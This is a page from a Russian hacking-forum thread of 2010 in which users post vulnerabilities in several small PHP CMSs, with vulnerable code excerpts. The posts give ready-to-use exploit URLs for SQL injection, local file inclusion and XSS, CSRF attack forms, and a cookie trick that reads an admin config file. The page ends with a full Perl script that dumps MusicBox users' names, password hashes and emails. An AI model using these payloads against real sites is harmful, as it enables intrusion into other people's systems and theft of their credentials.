ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

321
  #361  
Старый 14.04.2010, 00:35
Аватар для Strilo4ka
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660

Репутация: 1148
По умолчанию 321

Free CMS Webcountry

Древний релиз! - но компания не дремлет!
Используеться mod_rewrite.
В index.php есть такой код:
PHP код:
...ob_start();
 
$mod=$_GET["mod"];
 if (!IsSet(
$mod)){include "./page/$main_page.php";}
 else {include 
"./page/".$mod.".php";}
 
$contents=ob_get_contents();
 
ob_end_clean();... 
PHP код:
...require("./tpl/$thema.tpl");... 
Переменная $thema определяеться в подключаемом файле c запроса.
Если переменную определить в подключаемом файле, например, не с запроса или с запроса после SQL inj, то расширение можна отбросить.
В БД ничего ценного! Пусть админко запаролена .
В подключаемый файл тулим $thema=$_GET['thema']. И гетом передадим thema=../readme.txt%00, кроме mod.
То должно получиться типо такого: http://localhost/f/index.php?mod=../1.txt%00&thema=../readme.txt%00.
Если переменную $thema не определить, то результат не увидеть с первого инклуда - будет ошибка в фунции require, так как скрипт не выполниться! Как реализовать с proc думаю понятно.

Теперь пример инклуда с результату запроса после проведения SQL ing(или при!).
Подключаем файлик с /page,
допустим, news.php так как там парамтер id передаеться в запрос!
PHP код:
...$query "SELECT * FROM site WHERE id='".$_GET["id"]."';";
 
$result mysql_query($query);
 while(
$r=mysql_fetch_array($result))
 {
  
$title=$r["title_page"];
  
$KeyWords_page=$r["KeyWords_page"];
  
$Description_page=$r["Description_page"];
  
$txt_page=$r["txt_page"];
  
$thema=$r["thema"];
 echo 
"$txt_page";}... 
Имеем LFI с 6 поля:
http://localhost/f/index.php?mod=news&id=3%27+union+select+1,2,3,4,5, 6,7,8--+
Warning: require(./tpl/6.tpl) [function.require]:
http://localhost/f/index.php?mod=news&id=3%27+union+select+1,2,3,4,5, %27../readme.txt%00%27,7,8--+
Недостаток при SQL inj в том, что надо mg=off так как id в запросе
PHP код:
...id='".$_GET["id"]."';... 
Так же SQL inj в /pages/index.php
PHP код:
...mysql_select_db ($db_name) or die ("Нет соединения с БД");
 
$query "SELECT * FROM site WHERE id='".$_GET["id"]."';";
 
$result mysql_query($query);... 
up
та й в принципе вектор атаки должен умещаться в рамки url , посему первый вариант не сработает, разве что ось win (при mg=on).
Еще надо сказать, что если rg=on, то $_GET масив тоже формируеться, не только глобальные и значение "магических" к фени!...

Тоесть, при rg=on имеем LFI вот так:
http://localhost/117/index.php?mod=1&thema=../readme.txt%00
http://localhost/117/index.php?mod=1&thema=../readme.txt[/]
http://localhost/117/index.php?mod=1&thema=../readme.txt[.]

ps /adm - админко незапаролена по умолчанию.

Последний раз редактировалось Strilo4ka; 15.04.2010 в 05:59..
 
Ответить с цитированием

  #362  
Старый 15.04.2010, 04:07
Аватар для Strilo4ka
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660

Репутация: 1148
По умолчанию

AntiSlaed CMS 4.1

index.php
PHP код:
...$name = (isset($_POST['name'])) ? ((isset($_POST['name'])) ? analyze($_POST['name']) : "") : ((isset($_GET['name'])) ? analyze($_GET['name']) : "");... 
PHP код:
...$file = (isset($_POST['file'])) ? ((isset($_POST['file'])) ? analyze($_POST['file']) : "") : ((isset($_GET['file'])) ? analyze($_GET['file']) : "");
$file = ($file) ? $file "index";... 
PHP код:
...include("modules/".$name."/".$file.".php");... 
Теперь смотрим в модуль новости /modules/news/index.php.
PHP код:
function news(){...
$scat = (isset($_GET['cat'])) ? $_GET['cat'] : 0;...
...list(
$cat_title$cat_description) = $db->sql_fetchrow($db->sql_query("SELECT title, description FROM ".$prefix."_categories WHERE id='$scat'"));...

PHP код:
...switch($op) {
    default:
    
news();
    break;... 
в ../index.php
PHP код:
...$op = (isset($_POST['op'])) ? ((isset($_POST['op'])) ? analyze($_POST['op']) : "") : ((isset($_GET['op'])) ? analyze($_GET['op']) : "");... 
Можно было бы провести SQL inj если бы не файл functions/security.php начиная с 341 line, ех!

Ищем .:XSS:.

Поиск закончился успехом.
/modules/order/index.php
Обращаем внимание на $_POST['com']
PHP код:
function order() {
    global 
$conf$confor$pagetitle$bodytext$stop;
    
$pagetitle "".$conf['defis']." "._ORDER."";
    
$bodytext $confor['text'];
    if (
is_user()) {
        
$userinfo getusrinfo();
        
$mail = (isset($_POST['mail'])) ? $_POST['mail'] : $userinfo['user_email'];
    } else {
        
$mail = (isset($_POST['mail'])) ? $_POST['mail'] : "";
    }
    
$field fields_save($_POST['field']);
    
head();
    
title(""._ORDER."");
    if (
$stopwarning($stop""""1);
    
open();
    echo 
bb_decode($bodytext"all");
    
close();
    if (
$confor['an']) {
        
open();
        echo 
"<h2>"._OR_1."</h2><form method=\"post\" action=\"index.php?name=".$conf['name']."\" OnSubmit=\"ButtonDisable(this)\">"
        
."<div class=\"left\">"._OR_2." <font class=\"option\">*</font></div><div class=\"center\"><input type=\"text\" name=\"mail\" value=\"".$mail."\" maxlength=\"255\" size=\"65\" class=\"".$conf['style']."\"></div>"
        
."".fields_in($field$conf['name']).""
        
."<div class=\"left\">"._OR_3."</div><div class=\"center\"><textarea name=\"com\" cols=\"65\" rows=\"5\" class=\"".$conf['style']."\">".$_POST['com']."</textarea></div>"
        
."".captcha_random().""
        
."<div class=\"button\"><input type=\"hidden\" name=\"op\" value=\"send\"><input type=\"submit\" value=\""._OR_4."\" class=\"fbutton\"></div></form>";
        
close();
    } else {
        
warning(""._OR_5.""""""2);
    }
    
foot();
}... 
Функция order() вызываеться по умолчанию
PHP код:
...switch($op) {
    default:
    
order();
    break;... 
Result:
- формиуем код;
- заставляем админа послать пост-запрос (ну понятно что он должен быть авторизирован!).

Простой пример експлуатации:
Код HTML:
<form action="http://anti/index.php?name=order">
 <p><b>Каким браузером в основном пользуетесь:</b><Br>
   <input type="radio" name="browser" value="ie"> Internet Explorer<Br>
   <input type="radio" name="browser" value="opera"> Opera<Br>
   <input type="radio" name="browser" value="firefox"> Firefox<Br>
  </p>
<input type="hidden" name="com" VALUE="</textarea><script>alert(123)</script>">
<input type=submit value="Молодца"!">
</form>
up
В самом последнем релизе пофиксено!
Значение переменной $com и других проганяэться через:
PHP код:
# HTML and word filter
function text_filter($message$type="") {
    global 
$conf;
    
$message is_array($message) ? fields_save($message) : $message;
    if (
intval($type) == 2) {
        
$message htmlspecialchars(trim($message), ENT_QUOTES);
    } else {
        
$message strip_tags(urldecode($message));
        
$message htmlspecialchars(trim($message), ENT_QUOTES);
    }
    if (
$conf['censor'] && intval($type != 1)) {
        
$censor_l explode(","$conf['censor_l']);
        foreach (
$censor_l as $val$message preg_replace("#$val#i"$conf['censor_r'], $message);
    }
    return 
$message;


Последний раз редактировалось Strilo4ka; 15.04.2010 в 05:58..
 
Ответить с цитированием

  #363  
Старый 15.04.2010, 07:24
Аватар для Strilo4ka
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660

Репутация: 1148
По умолчанию

Sing CMS


скачать

В результате применения XSRF имеем активную XSS.

Подтверждения со стороны адинистратора на сохранение данных нет!

Уязвимо $_POST['content'] с многострочного поля!

Вот куски кода:

/admin/editpage.php
PHP код:
...$checkbottom = isset($_POST['showbottom']) ? " checked" "";
    
$maintpl listtpl("main"$_POST['maintpl']); 
    
$name cleaninput($_POST['name']);
    
$keywords cleaninput($_POST['keywords']);
    
$description cleaninput($_POST['description']);
    
$content stripslash($_POST['content']);
    if (isset(
$_POST['breaks'])) {
        
$linebreaks " checked";
        
$xx explode("?>"$content); $prevcontent "";
        foreach(
$xx as $val) {... 
PHP код:
...else {
            
dbquery("INSERT INTO ".DBPREF."pages (name, keywords, description, content, settings, created) VALUES ('$name', '$keywords', '$description', '$content', '".serialize($pageset)."', '".time()."')");
            
redirect($_SERVER['SCRIPT_NAME']."?id=".mysql_insert_id()."&info=added");
        }... 
/functions.php
PHP код:
...function stripslash($text) {
    if (
ini_get('magic_quotes_gpc')) $text stripslashes($text);
    return 
$text;
}
function 
addslash($text) {
    if (!
ini_get('magic_quotes_gpc')) $text addslashes(addslashes($text));
    else 
$text addslashes($text);
    return 
$text;
}
function 
cleaninput($text) {
    if (
ini_get('magic_quotes_gpc')) $text stripslashes($text);
    
$search = array("\"""'""\\"'\"'"\'""<"">""&nbsp;");
    
$replace = array("&quot;""'""\", "&quot;", "'", "&lt;", "&gt;", " ");
    $text = str_replace($search, $replace, $text);
    $text = trim($text);
    return $text;... 
Експлуатация:
Код HTML:
<form action="http://localhost/sing/admin/editpage.php" method="post">  
<p><b>Каким браузером в основном пользуетесь</b>
<Br>  <input type="radio" name="browser" value="ie"> Internet Explorer
<Br>  <input type="radio" name="browser" value="opera"> Opera
<Br>  <input type="radio" name="browser" value="firefox"> Firefox<Br></p>
<input type="hidden" name="maintpl" VALUE="1">
<input type="hidden" name="name" VALUE="123">
<input type="hidden" name="content" VALUE="<script>alert(123)</script>">
<input type="hidden" name="save">
<input type=submit value="Молодца"!">
</form>
Result:
id страницы, например 2.
в page.php?id=2
Код HTML:
...<div class="page"><script>alert(123)</script></div>...

Последний раз редактировалось Strilo4ka; 15.04.2010 в 08:00..
 
Ответить с цитированием

  #364  
Старый 16.04.2010, 03:27
Аватар для Strilo4ka
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660

Репутация: 1148
По умолчанию

CMS.link
/include/functions.php
PHP код:
....function adds(&$el,$level=0) { 
    if (
is_array($el)){
        if (
get_magic_quotes_gpc()) return; 
        foreach(
$el as $k=>$v)
            
adds($el[$k],$level+1); 
    }
    else{
        if (!
get_magic_quotes_gpc()) $el addslashes($el); 
        if (!
$level) return $el
    }
}
... 
Через эту функцию не провести SQL inj

Улыбнул вот этот участок кода:
PHP код:
...
if(
$site->getCommP())$method="";
switch(
$method)
{
    case 
"print":
        include 
$config['site_dir']."include/plugins/mop/print.plg";
        break;
    case 
"send":
        include 
$config['site_dir']."include/plugins/mop/send.plg";
        break;
    case 
"comments":
        include 
$config['site_dir']."include/plugins/mop/comments.plg";
        break;
    case 
"vote":
        include 
$config['site_dir']."include/plugins/mop/vote.plg";
            break;
    case 
"dir":
        include 
$config['site_dir']."include/plugins/mop/dir.plg";
            break;
    default:    
        
$file=$config['site_dir']."templates/docs/".$site->getTemplate().".tpl";
        if (!
file_exists($file))
               
error_rep("Server","No such file or directory ($file)","404");
        include 
$file;... 
XSS в include/plugins/mop/send.plg
PHP код:
...
if(!
ereg(".+@.+\..+"$_POST['p_s_mail'])){
        
$p_s_error="{$lan[18]}<br>";
        
p_s_print_html($p_s_error);
    }
    elseif(
$_POST['p_s_yname']==""){
        
$p_s_error="{$lan[2]}<br>";
        
p_s_print_html($p_s_error);
    }
    elseif(!
ereg(".+@.+\..+"$_POST['p_s_ymail'])){
        
$p_s_error="{$lan[1]}<br>";
        
p_s_print_html($p_s_error);
    }
    else{
        
mail(
            
$_POST['p_s_mail'],
            
$lan[19],
            
htmlspecialchars(stripslashes($p_s_mes)),
            
"From: {$_POST['p_s_ymail']}\n".
            
"Reply-To: {$_POST['p_s_yname']}\n");

        echo 
"{$lan[17]} \"{$_POST['p_s_mail']}\".<br><br>";
    }
... 
/include/langyage/russian.lng
PHP код:
...$lan[17]="Публикация успешно отправлена по адресу";... 
Тоесть, имеем пасивную XSS в поле E-mail друга (p_s_mail) + анонимная отправка писем.
Даные отправляються постом.
Чтоб сработала comm_permission=0 должно быть.
По умолчанию так и есть на 3-х страницах и при добавление новых также (если не изменить радиобатон).

Result:
http://cmslink/main/send
В поле E-mail друга:blabla@mail.ru<script>alert(123)</script>

Последний раз редактировалось Strilo4ka; 16.04.2010 в 03:41..
 
Ответить с цитированием

Magneto
  #365  
Старый 18.04.2010, 17:26
Аватар для SeNaP
SeNaP
Участник форума
Регистрация: 07.08.2008
Сообщений: 281
Провел на форуме:
3300342

Репутация: 165
По умолчанию Magneto


Magneto <= v2.0
SQl-inj
Офф сайт:
http://www.userside.org.ua/magneto/

/magneto/main/config/admfunct.php
PHP код:
function requestdata($ps1)
{
if (isset(
$_REQUEST[$ps1])){$ps_requestdata=replacesymbol(trim($_REQUEST[$ps1]));} else {$ps_requestdata='';}
return 
$ps_requestdata;

/magneto/module/$module/kat.php

PHP код:
if ($ps_type=="delkat" || $ps_type=="editdopf" || $ps_type=="editdopf2" || $ps_type=="delsubkat" || $ps_type=="edit" || $ps_type=="edit2"dopverify("DO_KAT");

if (
$ps_type=="editdopf"$ps_style="short";

if (
$ps_type2!=""$ps_katname=getkatname($ps_type2); 
PHP код:
if ($ps_type=="editdopf2"){
    
$ps_dopf1=requestdata('dopf1');
    
$ps_dopf2=requestdata('dopf2');
    
$ps_dopf3=requestdata('dopf3');
    
$ps_dopf4=requestdata('dopf4');
    
$ps_dopf5=requestdata('dopf5');
        
$rs_2=mysql_query("select * from tbl_dopf where KATCODE=".$ps_code,$conn1);
        
$rs=mysql_fetch_array($rs_2);
        if (
$rs['CODE']==''){
            
$ps_constr="insert into tbl_dopf (KATCODE,DOPF1,DOPF2,DOPF3,DOPF4,DOPF5) values (".$ps_code.",'".$ps_dopf1."','".$ps_dopf2."','".$ps_dopf3."','".$ps_dopf4."','".$ps_dopf5."')";
        }else{
            
$ps_constr="update tbl_dopf set DOPF1='".$ps_dopf1."',DOPF2='".$ps_dopf2."',DOPF3='".$ps_dopf3."',DOPF4='".$ps_dopf4."',DOPF5='".$ps_dopf5."' where CODE=".$rs['CODE'];
        }
    
mysql_free_result($rs_2);
    
$rs_s2=mysql_query($ps_constr,$conn1);
    
goback();

И дальше в таком же духе.
Експлуатация:
Код:
[patch]/kat.php?type=showkat&type2=-1+union+select+1,2,3,4--
 
Ответить с цитированием

  #366  
Старый 18.04.2010, 21:09
Аватар для Strilo4ka
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660

Репутация: 1148
По умолчанию

santafox 1.1


http://www.santafox.ru/

Тестировалось на фаерфокс 3.5.9

Пасивная XSS в поле поиска.

Result:
http://sa/search.html?search=%3Cscript%3Ealert%28123%29%3C%2 Fscript%3E&x=0&y=0

Пока чихлюсь с кодом, немогу найти где этот участок кода (использ.ооп), так что сори
ps на сайте тоже работает!

up
У нас есть активная XSS в коментах , но експлуатация сводиться к миниму, так как сначала просматривает админ. Если ступит и пометит: "Комментарий активен", то активка у двох полях.
Есть и глобальная опция Премодерация.

Blind SQL inj
Кстати, ошибка в этой функции, строка 4279, когда кавычку впихнуть при mg=off!
/modules/catalog/catalog.class.php
PHP код:
...  private function get_item($id)
    {
        global 
$kernel;
        
$res    false;
        
$query  'SELECT * FROM `'.PREFIX.'_catalog_'.$kernel->pub_module_id_get().'_items` WHERE `id` ='.$id.' LIMIT 1';
        
$result $kernel->runSQL($query);
        if (
$row mysql_fetch_assoc($result))
            
$res $row;
        
mysql_free_result($result);
        return 
$res;
    }... 
Короче єтот модуль уязвим , чтоб не лезть в дебри покажу просто експлуатацию слепой иньекции в числовом контексте, думаю что есть в каком то модуле и принтабельная скуль. Будет время - поковыряю.

Result:
1) http://sa/catalog.html?cid=11+and+5=@@version
ps также парамтер дырявый itemid (гет этому скрипту!)

пасс в незашыфрованом виде

Код:
id,login,pass,full_name,lang,code_page,enabled
Но префикс таблицы есть, не помню при установке по дефлоту:
у меня таблица sf_admin.

админко - /admin

У кого есть желание - присоединяйтесь

Последний раз редактировалось Strilo4ka; 18.04.2010 в 22:51..
 
Ответить с цитированием

  #367  
Старый 19.04.2010, 02:23
Аватар для Strilo4ka
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660

Репутация: 1148
По умолчанию

Multiengine CMS 0.9.3
LFI
/multiengine/multiengine.php
PHP код:
//error_reporting(0);
//header("Last-Modified: ".gmstrftime("%a, %d %b %Y %H:%M:%S", strtotime(gmdate("D, d M Y 0:00:01"))-86400+date("j")*100)." GMT");
define("THIS_SITE""http://".$_SERVER['HTTP_HOST']."/"true);
define("CURR_URL""http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'], true);

require_once(
"$enginedir/functions.php");
// Подключаем класс кэша
require_once("$enginedir/cache.class.php");

// Фильтрация входящих данных
if(isset($_GET['mod'])){
    
$modQueryFilter($_GET['mod']);
}
if(isset(
$_GET['cat'])){
    
$cat'/'.QueryFilter($_GET['cat']);
}
if(
$mod.$cat.$_GET['page']=='robots.txt'){
    
header('Content-Type: text/plain');
    if(!@
readfile('robots.txt')){
        print 
"User-Agent: *\r\nDisallow:";
    }
    exit;
}
if(isset(
$_GET['page'])){
    if(
$_GET['page']=='index'.$url_ext){
        
$to'index.php?';
        if(isset(
$mod)){
            
$to.= "mod=$mod";
                if(isset(
$_GET['cat'])){
                
$to.= "&cat=".$_GET['cat'];
            }
        }
        elseif(isset(
$_GET['cat'])){
            
$to.= "cat=".$_GET['cat'];
        }
        
header('HTTP/1.1 301 Moved Permanently');
        
header('Location: '.UrlRewrite(THIS_SITE.$to));
        exit;
    }
    elseif(
strstr($_GET['page'], $url_ext)){
        
$page"/".QueryFilter(preg_replace('"(.+)'.$url_ext.'"''$1'$_GET['page']));
    }
    else{
        
Error404();
    }
}
else{
    
$page"/index";
}

// Подключение модулей
if(isset($mod)){
    if(
is_file("$enginedir/mods/$mod/mod.php")){
        require_once(
"$enginedir/mods/$mod/mod.php");
    }
    else{
        
$cat"/$mod$cat";
        if(
is_file("$d_base/pages$cat$page.$db_ext")){
            require_once(
"$enginedir/pages.php");
        }
        else{
            
Error404();
        }
    }
}
else{
    require_once(
"$enginedir/pages.php");
}... 
target: index.php

например, в куки тулим:

; mod=../../readme.txt%00


Запрос:
Host=multiengine_cms
User-Agent=Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9
Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language=ru,en-us;q=0.7,en;q=0.3
Accept-Encoding=gzip,deflate
Accept-Charset=windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive=300
Connection=keep-alive
Cookie=ffb4935b1bb5d18a2c0f862c02295821=fc3c3d1565 f5a9aa318645a642382fc9; mod=../../readme.txt%00
Cache-Control=max-age=0

Ответ:
Status=OK - 200
Date=Sun, 18 Apr 2010 22:14:24 GMT
Server=Apache/2.2.4 (Win32) mod_ssl/2.2.4 OpenSSL/0.9.8d PHP/5.2.4
X-Powered-By=PHP/5.2.4
Content-Length=2776
Keep-Alive=timeout=5, max=100
Connection=Keep-Alive
Content-Type=text/html; charset=windows-1251

Читалка
(достаем логин и пасс админа)
посылаем куки: ; cat=/../../multiengine/mods/admin/config.php%00

target: index.php

/multiengine/pages
PHP код:
...
if(
is_file("$d_base/pages$cat$page.$db_ext")){
    
$fpagefile("$d_base/pages$cat$page.$db_ext");
    
$pagetitlearray_shift($fpage);
    
$contentimplode("\r\n"$fpage);... 
Поубирал с кода переводы и пробелы чтоб было видно!
Код HTML:
<?</h1><div class="pagepath"><a href="http://multiengine_cms/">Имя сайта краткое</a> / <a href="http://multiengine_cms/../"></a> / <a href="http://multiengine_cms/../../multiengine/"></a> / <a href="http://multiengine_cms/../../multiengine/mods/admin/config.php_/"></a></div>
$admlogin= 'admin';$admpass= '21232f297a57a5a743894a0e4a801fc3';
?></td>
админко - /admin

Условие:

register_globals = On
Jokester:
я не пойму, если зависимость register_globals = On то почему-бы сразу не RFI $enginedir ?
Я написал target - index.php чтоб реализовать то, что написано выше!

RFI не получиться , есть причины:

1) если target - multiengine/multiengine.php, то есть .htaccess
Код:
Deny from all
2) если target - index.php

index.php
PHP код:
$enginedir'multiengine';
require_once(
"$enginedir/config.php");
$delimiter'/';
$sitename'Имя сайта краткое';
$title'Заголовок сайта';
$description'Описание сайта';
require_once(
"$enginedir/multiengine.php"); 
ps
mg=off, так как замена нулевого байта в is_file() не сработает.
Извинения за то, что код не полностю выложыл!

Последний раз редактировалось Strilo4ka; 20.04.2010 в 02:58..
 
Ответить с цитированием

  #368  
Старый 19.04.2010, 19:36
Аватар для warlok
warlok
Постоянный
Регистрация: 18.02.2008
Сообщений: 368
Провел на форуме:
4075418

Репутация: 386
По умолчанию

Продукт:Maian Weblog v4.0
Требования: mq = off
SQLi в /index.php
PHP код:
....
   
// Get blog data..
   
$q_blog mysql_query("SELECT * FROM ".$database['prefix']."blogs 
                          WHERE id = '
$b_post
                          LIMIT 1
                          "
) or die(mysql_error());
 ... 
эксплуатация:
Код:
/index.php?cmd=blog&post=3'+and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
SQLi в admin/data_files/favourites.php
PHP код:
// Only load data if in edit mode..
if (isset($_GET['edit']))
{
  
$EDIT mysql_fetch_object(mysql_query("SELECT * FROM ".$database['prefix']."favourites
                                          WHERE id = '"
.$_GET['edit']."' 
                                          LIMIT 1
                                          "
)) or die(mysql_error());

эксплуатация:
Код:
admin/index.php?cmd=favourites&edit=-1'+union+select+1,2,version()--+
SQLi в admin/data_files/edit.php
PHP код:
$q_edit mysql_query("SELECT * FROM ".$database['prefix']."blogs 
                       WHERE id = '"
.$_GET['id']."' 
                       LIMIT 1
                       "
) or die(mysql_error());
$EDIT mysql_fetch_object($q_edit); 
эксплуатация:
Код:
admin/index.php?cmd=edit&id=-3'+union+select+1,version(),3,4,5,6,7,8,9,10,11,12--+
Также еще работает одни из xss найденная здесь http://seclists.org/bugtraq/2008/May/30
Код:
admin/index.php?cmd=search&search=1&area=blogs&keywords="><script>alert(/xss/)</script>
PS там как минимум есть еще скуля в update и delete.
 
Ответить с цитированием

  #369  
Старый 20.04.2010, 06:09
Аватар для Strilo4ka
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660

Репутация: 1148
По умолчанию

ignition 1.2

XSS
/template.php
PHP код:
...if ($twitter) {
echo(
'<strong><a href="http://twitter.com/'.$twitter.'">What\'s going on?</a></strong><br />');
include (
'stuff/twitter.php');
echo(
'<br /><br />'); }
if (
$identica) {
echo(
'<strong><a href="http://identi.ca/'.$identica.'">What\'s going on?</a></strong><br />');
include (
'stuff/identica.php');
echo(
'<br /><br />'); }
if (
$book) echo ('<strong>Currently reading:</strong><br />'.$book.'<br /><br />');
if (
$game) echo ('<strong>Currently playing:</strong><br />'.$game);
echo(
'</div>..." 
Переменные нигде не определяються!

Результат:
http://localhost/ignition_1.2/index/main.php?book=1%3Cscript%3Ealert%28123%29%3C/script%3E

Условие:
rg=on

LFI
view.php
PHP код:
...session_start();
require (
'settings.php');
$blog $_GET['blog'];
if (
file_exists('posts/'.$_GET['blog'].'.txt')) {
include (
'posts/'.$_GET['blog'].'.txt');
}else{
die(require(
'404.php')); }
iheader($title);... 
Результат:
http://localhost/ignition_1.2/view.php?blog=../../favicon.ico%00

Условие:
mg=off

Аналогично
comment.php
PHP код:
...<?php 
session_start
();
require (
'settings.php');
include (
'posts/'.$_GET['blog'].'.txt');
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"...
Тут mg всеравно!

Результат:
http://localhost/ignition_1.2/comment.php?blog=../../favicon.ico%00
Или замену нул-байта.
На PHP Version 5.3.1 надо mg=off

Последний раз редактировалось Strilo4ka; 20.04.2010 в 12:41..
 
Ответить с цитированием

  #370  
Старый 20.04.2010, 12:26
Аватар для Ctacok
Ctacok
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме:
5011696

Репутация: 2221


По умолчанию

К посту #33

PHP код:
#!/usr/bin/perl 
use LWP::Simple;
print 
"\n";
print 
"##############################################################\n";
print 
"# MusicBox v 3.3 SQL INJECTION EXPLOIT                       #\n";
print 
"# Author: Ctacok  (Russian)                                  #\n";
print 
"# Special for Antichat (forum.antichat.ru) and xakep.ru      #\n";
print 
"##############################################################\n";
print 
"\n Usage: exploit.pl [host] [path] ";
print 
"\n EX : exploit.pl www.localhost.com /path/ \n\n";
print 
"\n userlevel 9 = SuperAdmin ";
print 
"\n pass = md5($pass)";
if (@
ARGV 2)
{
exit;
}
$host=$ARGV[0];
$path=$ARGV[1];
$vuln "-1+union+select+1,2,concat(0x3a3a3a,userid,0x3a,username,0x3a,password,0x3a,email,0x3a,userlevel,0x3a3a3a),4,5,6,7+from+users+";
$doc get($host.$path."genre_artists.php?id=".$vuln."--+&by=ASC");
if (
$doc =~ /:::(.+):(.+):(.+):(.+):(.+):::/){
        print 
"\n[+] Admin id: : $1";
                print 
"\n[+] Admin username: $2";
                print 
"\n[+] Admin password: $3";
                print 
"\n[+] Admin email: $4";
                print 
"\n[+] Admin userlevel: $5";
}else{
                print 
"\n My name is Fail, Epic Fail... \n"

pastebin.com
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Библиотека SladerNon Болталка 17 05.02.2007 23:30
Основные методы взлома и защиты скриптов на Php DIAgen Авторские статьи 8 28.05.2006 12:30



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ